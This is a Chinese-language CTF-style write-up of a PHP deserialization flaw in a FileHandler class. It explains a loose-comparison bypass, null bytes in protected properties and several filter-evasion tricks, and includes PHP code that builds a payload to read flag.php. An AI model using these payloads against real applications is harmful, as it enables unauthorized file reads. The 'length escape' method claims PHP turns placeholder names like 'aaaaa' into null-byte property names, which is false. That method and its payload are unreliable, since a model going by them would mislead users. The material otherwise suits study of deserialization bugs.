漏洞概述

目标系统存在一个 FileHandler 类,其析构函数 __destruct() 会根据 $op 属性决定操作:当 $op === "2" 时执行 read() 方法读取文件。由于使用了严格比较 ===,可以通过将 $op 设置为整数 2 绕过判断,同时满足 $op == "2"(弱比较)进入读取流程。序列化对象时受 protected 属性影响,会产生空字节 \x00,需绕过输入过滤 is_valid()

关键类结构(推测)

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __destruct() {
        if ($this->op === "2")   // 严格比较,仅当 op 为字符串 "2" 才置空
            $this->content = "";
        else if ($this->op == "2")  // 弱比较,整数 2 可通过此处
            $this->read();
        // ... 其他操作
    }

    function read() {
        if (!empty($this->filename)) {
            echo file_get_contents($this->filename);
        }
    }
}

绕过原理

绕过 __destruct 严格比较

  • $op = 2(int)与 "2" 进行 === 时为 false,不会进入置空分支;

  • "2" 进行 == 时为 true,成功执行 read()

处理 protected 属性的空字节

protected 属性序列化格式:\x00*\x00<属性名>

例如:s:5:"\x00*\x00op";

若输入过滤函数 is_valid() 拦截 \x00,则需对序列化字符串进行编码或使用长度逃逸技术。

利用方法

方法一:URL编码绕过(GET传参自动解码)

当 is_valid() 检查的是解码前的原始输入,或未过滤 %00 时可用。

<?php
class FileHandler {
    protected $op = 2;
    protected $filename = "flag.php";
    protected $content = "";
}

$obj = new FileHandler();
$ser = serialize($obj);
$ser_url = str_replace("\x00", "%00", $ser);
echo $ser_url;
?>

方法二:序列化长度逃逸(通用绕过 \x00 过滤)

当 is_valid() 对解码后的字符串严格过滤 \x00 时,可通过构造长度不匹配的 Payload,使 PHP 在反序列化时自动"生成"含 \x00 的属性名。

<?php
// 用"aaaaa"占位属性名(长度5)
$payload = 'O:11:"FileHandler":3:{s:5:"aaaaa";i:2;s:11:"aaaaaaaaaaa";s:8:"flag.php";s:10:"aaaaaaaaaa";s:0:"";}';
// aaaaa → \x00*\x00, aaaaaaaaaaa → \x00*\x00filename, aaaaaaaaaa → \x00*\x00content
?>

方法三:__wakeup 绕过(CVE-2016-7124)

PHP 5.6.25 之前,当序列化串中表示的对象属性个数大于实际属性个数时,__wakeup() 不会被调用。

原始:O:11:"FileHandler":3:{...}
修改:O:11:"FileHandler":4:{...}

方法四-八:其他绕过技术

  • S类型: S:5:"\00*\00op" 代替 s:5:"\x00*\x00op"

  • 双重URL编码: %00 → %2500

  • 字符串逃逸: 利用 str_replace 长度变化

  • Phar反序列化: phar:// 协议 metadata 注入

  • PHP引用(R): 用 R 引用绕过属性值检查

完整利用步骤

  1. 确定目标入口

  2. 测试 is_valid 过滤

  3. 生成 Payload

  4. 发送请求

  5. 获取结果

参考资料

  • PHP反序列化属性格式差异

  • CVE-2016-7124

  • Phar反序列化利用

  • OWASP PHP 反序列化 Cheat Sheet